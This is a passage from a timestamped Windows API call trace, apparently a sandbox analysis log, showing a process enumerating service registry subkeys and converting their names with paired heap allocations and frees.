lpUsedDefaultChar=0x0) returned 7 [0250.657] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0250.657] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.657] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.657] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.657] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.657] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0250.657] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.657] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0250.657] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.657] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.657] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.657] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.657] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0250.657] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.657] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0250.657] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.657] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.657] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.658] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.658] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0250.658] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.658] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0250.658] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.658] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.658] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.658] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.658] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0250.658] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.658] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0250.658] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.658] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.658] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.658] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.658] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0250.658] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.658] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0250.658] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.658] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.658] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.658] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.658] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0250.658] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.658] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0250.659] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.659] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.659] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.659] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.659] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0250.659] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0250.659] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1d60, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0250.659] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.659] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.659] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.659] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.659] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0250.659] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0250.659] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0250.659] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.659] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.659] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0250.659] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.659] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0250.659] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0250.659] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0250.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1d60, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0250.660] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0250.660] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0250.660] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0250.660] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0250.660] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0250.660] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0250.660] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0250.660] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0250.660] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0250.660] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0250.660] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0250.660] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0250.660] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0250.662] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0250.662] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0250.662] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0250.662] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0250.662] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0250.662] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0250.662] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0250.662] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0250.662] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0250.662] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0250.662] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0250.662] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0250.663] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0250.663] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0250.663] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0250.663] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0250.663] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0250.663] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0250.663] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0250.663] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0250.663] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0250.663] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0250.663] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0250.663] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0250.664] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0250.664] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0250.664] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0250.664] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0250.664] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0250.664] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0250.664] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0250.664] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0250.664] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0250.664] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0250.664] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0250.664] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0250.664] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0250.665] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0250.665] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0250.665] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0250.665] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0250.665] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0250.665] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0250.665] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0250.665] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0250.665] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0250.665] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0250.665] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0250.665] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0250.665] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0250.666] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0250.666] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0250.666] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0250.666] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0250.666] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0250.666] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0250.666] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0250.666] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0250.666] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0250.666] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0250.666] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0250.666] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0250.666] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0250.667] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0250.667] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0250.667] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0250.667] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0250.667] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0250.667] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0250.667] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0250.667] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0250.667] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0250.667] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0250.667] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0250.667] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0250.667] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0250.668] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0250.668] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0250.668] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0250.668] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0250.668] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0250.668] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0250.668] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0250.668] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0250.668] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0250.668] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0250.668] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0250.668] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0250.668] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0250.669] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0250.669] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0250.669] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0250.669] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0250.669] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0250.669] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0250.669] RegEnumKeyW 